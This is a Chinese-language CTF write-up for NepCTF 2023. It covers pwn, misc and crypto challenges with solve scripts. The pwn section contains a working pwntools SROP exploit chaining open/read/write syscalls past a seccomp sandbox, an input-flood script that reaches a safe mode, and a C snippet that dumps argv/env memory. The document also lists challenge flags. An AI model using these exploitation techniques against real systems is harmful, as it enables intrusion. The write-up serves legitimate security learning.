NepCTF2023 WP
真的超级紧张刺激的比赛!!有做不出题目夜不能寐的痛苦,也有冥思苦想之后的豁然开朗,第一次感受到了ctf比赛的乐趣所在。虽然最后的成绩停留在110,不过对于一个初出茅庐的萌新,已经很满足了;即使比赛结束后才做出三月七和最后放出的两个pwn题(挺气的,早知道不看万恶的login的……)。那就给自己继续加油吧,希望下次比赛能拿到属于自己的一份荣誉!
PWN
srop
使用经典srop技巧,但是在此基础上又加了orz,观察程序会发现,能够调用sigreturn(调用号为0xf),而且溢出量足够大(0x300)。整体的一个思路就是构造system call chains,伪造四个栈帧,在syscall返回的时候,rsp会返回到另一个sigframe,从而实现一个又一个的函数调用。
几个注意点:
- 利用pwntools写frame的时候对各个寄存器传入的都是地址,不能直接把字符串写进去(会bytes()报错
别问为什么我知道) - 返回执行系统syscall的时候注意这个程序只有call _system,而没有直接的syscall汇编指令,而进入到call _system单步调试可以发现这个过程中各个寄存器的值是会发生变化的(不同的寄存器之间赋值),所以我们在构造frame指定寄存器值的时候需要根据call _system中的指令来调整frame的各个寄存器值,sigreturn也是如此,有其他的命令会改变rax的值,因此需要多一个pop rdi控制一下
- 各个stack_frame需要精心构造
- 因为沙箱禁掉了execve,所以我们使用open,read,write绕过沙箱。(一定注意这里读取文件内容的read系统调用rdi传参是3)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p = process("./pwn")
p = remote('nepctf.1cepeak.cn',31552)
#gdb.attach(p)
#syscall = 0x400788
syscall = 0x04005B0
pop_rdi = 0x0000000000400813
sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x400750)+p64(syscall)
buf = 0x0601020 # buf地址
#write
frame4 = SigreturnFrame(kernel='amd64')
frame4.rdi = constants.SYS_write#rax
frame4.rcx = 0x40#rdx
frame4.rsi = 1#rdi
frame4.rdx = buf#rsi
frame4.rip = syscall
frame4.rsp = buf#+len(sigreturn+bytes(sigframe)) # 设置栈顶指针位置
stack3 = sigreturn+bytes(frame4)
#open
frame2 = SigreturnFrame(kernel='amd64')
frame2.rdi = constants.SYS_open#rax
frame2.rcx = 0#rdx
frame2.rsi = buf#rdi注意这里是不能直接传字符串"flag"的,而是应该传地址
frame2.rip = syscall
frame2.rsp = buf+5+len(sigreturn+bytes(frame2)) # 设置栈顶指针位置
stack1 = sigreturn+bytes(frame2)
#read2
frame3 = SigreturnFrame(kernel='amd64')
frame3.rdi = constants.SYS_read#rax
frame3.rcx = 0x40#rdx
frame3.rsi = 3#rdi
frame3.rdx = buf#rsi
frame3.rip = syscall
frame3.rsp = buf+5+len(stack1+sigreturn+bytes(frame3)) # 设置栈顶指针位置
stack2 = sigreturn+bytes(frame3)
stack_frame = b"flag\x00"+stack1+stack2+stack3
#stack_frame = sigreturn+bytes(sigframe)+sigreturn+bytes(sframe)
#read1
frame = SigreturnFrame(kernel='amd64')
frame.rdi = constants.SYS_read#rax
frame.rcx = len(stack_frame)#rdx
frame.rsi = 0#rdi
frame.rdx = buf#rsi
frame.rip = syscall
frame.rsp = buf+5 # 设置栈顶指针位置
print(bytes(frame))
pad = cyclic(0x38)
pad += sigreturn + bytes(frame)
p.recv()
p.send(pad)
#pause(1)
#gdb.attach(p)
p.send(stack_frame)
p.interactive()
可恶的Login找不出路径……
HRP-CHAT-2
真的服了….真的就差一步,下标没弄清楚,其实一个个试都可以试出来的….
获得攻击力最高的角色(需要抽卡得到,抽卡的次数会影响你的下标)
选择攻击力最强的技能,击败boss即可拿到flag
HRP-CHAT-3
阅读源码
main函数里执行子进程,崩溃进入CMD
CMD函数
可以想到让子进程崩溃后,进入安全模式拿flag
from pwn import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
#p = process("./")
p = remote('nepctf.1cepeak.cn',31971)
sda = lambda delim,data :p.sendafter(delim,data)
sd = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))
ia = lambda :p.interactive()
def get_addr64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr32() : return u32(p.recvuntil(b'\xf7')[-4:])
ru(b'help')
sl(b'Login\n')
sla('6',b'Login\n'*0x517)
sl(b'\nSafe_Mode_Key')
ia()
MISC
checkin
一个号只能发一次,第一次发错了….(哭)
NepCTF{H4ve_Fun_1N_This_Game}
与AI共舞的哈夫曼
年轻人就要年轻,正经人谁自己做题啊~x
GPT秒了
import heapq
import os
class HuffmanNode:
def __init__(self, char, freq):
self.char = char
self.freq = freq
self.left = None
self.right = None
def __lt__(self, other):
return self.freq < other.freq
def build_huffman_tree(frequencies):
heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
heapq.heapify(heap)
while len(heap) > 1:
left = heapq.heappop(heap)
right = heapq.heappop(heap)
merged = HuffmanNode(None, left.freq + right.freq)
merged.left = left
merged.right = right
heapq.heappush(heap, merged)
return heap[0]
def build_huffman_codes(node, current_code, huffman_codes):
if node is None:
return
if node.char is not None:
huffman_codes[node.char] = current_code
return
build_huffman_codes(node.left, current_code + '0', huffman_codes)
build_huffman_codes(node.right, current_code + '1', huffman_codes)
def compress(input_file, output_file):
with open(input_file, 'rb') as f:
data = f.read()
frequencies = {}
for byte in data:
if byte not in frequencies:
frequencies[byte] = 0
frequencies[byte] += 1
root = build_huffman_tree(frequencies)
huffman_codes = {}
build_huffman_codes(root, '', huffman_codes)
compressed_data = ''
for byte in data:
compressed_data += huffman_codes[byte]
padding = 8 - len(compressed_data) % 8
compressed_data += '0' * padding
with open(output_file, 'wb') as f:
# Write frequency information
f.write(bytes([len(frequencies)]))
for byte, freq in frequencies.items():
f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))
# Write compressed data
for i in range(0, len(compressed_data), 8):
byte = compressed_data[i:i+8]
f.write(bytes([int(byte, 2)]))
def decompress(compressed_file, decompressed_file):
with open(compressed_file, 'rb') as f:
# 读取频率信息
num_symbols = int.from_bytes(f.read(1), byteorder='big')
frequencies = {}
for _ in range(num_symbols):
byte, freq1, freq2, freq3, freq4 = f.read(5)
freq = (freq1 << 24) | (freq2 << 16) | (freq3 << 8) | freq4
frequencies[byte] = freq
# 构建哈夫曼树
root = build_huffman_tree(frequencies)
# 解压缩数据
current_node = root
decompressed_data = bytearray()
while True:
bit = f.read(1)
if not bit:
break
bit = int.from_bytes(bit, byteorder='big')
for i in range(7, -1, -1):
if current_node.char is not None:
decompressed_data.append(current_node.char)
current_node = root
if (bit >> i) & 1 == 1:
current_node = current_node.right
else:
current_node = current_node.left
# 写入解压缩后的数据
with open(decompressed_file, 'wb') as output_f:
output_f.write(decompressed_data)
if __name__ == "__main__":
input_file = 'input.txt'
compressed_file = 'compressed.bin'
decompressed_file = 'decompressed.txt'
# 解压缩文件
decompress(compressed_file, decompressed_file)
codes
各种尝试想要提权结果没一个函数有用的,system,getenv,mprotect甚至read甚至env本身全都禁掉了
只好直接输出,想到函数参数依次入栈,而env环境变量也是main函数的一个参数,从而想到在argc的基础上++移动指针,暴力输出大量数据,从中找到flag
#include <stdio.h>
int main( int argc, char *argv[])
{
for (int i = 0; i< argc; ++i)
{
for(int j = 0;j<700;++j)
printf("%d': %s n", i, argv[ i 」 + j );
}
return 0;
}
(优雅)
小叮弹钢琴
mid音频隐写(我思考velato这样的音符编程语言尝试了好久最后发现就是个隐写??)
前半段是短音符和长音符,判断是摩斯电码,后面的是一串十六进制数字
摩斯电码解码得到tip:youshouldusethistoxorsomething
真,一开始断句成了this tox or something (甚至找了半天tox是啥)
接下来异或卡了好久,愣是没想到是用这句话去异或
之后联想前几个字母是NepCTF,尝试发现与之异或的是you,才发现把youshouldusethistoxorsomething这句话去异或0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17就行了
陌生的语言
由给出的hint可知是小魔女学园的月文和龙语。
纯粹的信息收集了
NepCTF{NEPNEP_A_BELIEVING_Heart_is_your_magic}
ConnectedFive
真的是下棋下出来的
你也喜欢三月七么
题目所给附件
salt_lenth= 10
key_lenth= 16
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext=
b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
看上去是AES,根据题目:
salt=NepCTF2023
salt用sha256加密后得到key,解得sha256(salt)= dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009
截取前十六位为key
from Crypto.Cipher import AES
key = 'dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009'
iv_hex = '88219bdee9c396eca3c637c0ea436058' #原始iv转hex的值
ciphertext= '''b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc'''
# 把hex值转成bytes
iv = bytes.fromhex(iv_hex)
key = bytes.fromhex(key)[:16]
ciphertext = bytes.fromhex(ciphertext)
aes = AES.new(key, AES.MODE_CBC, iv)
plaintext = aes.decrypt(ciphertext)
print('plaintext:', plaintext)
# plaintext: b'6148523063484d364c793970625763784c6d6c745a3352774c6d4e76625338794d44497a4c7a41334c7a49304c336c5061316858553070554c6e42755a773d3d'
base64解码得到url
解压压缩包得
找了找星铁的文字
对找得到flag
NepCTF{HRP_aIways_likes_March_7th}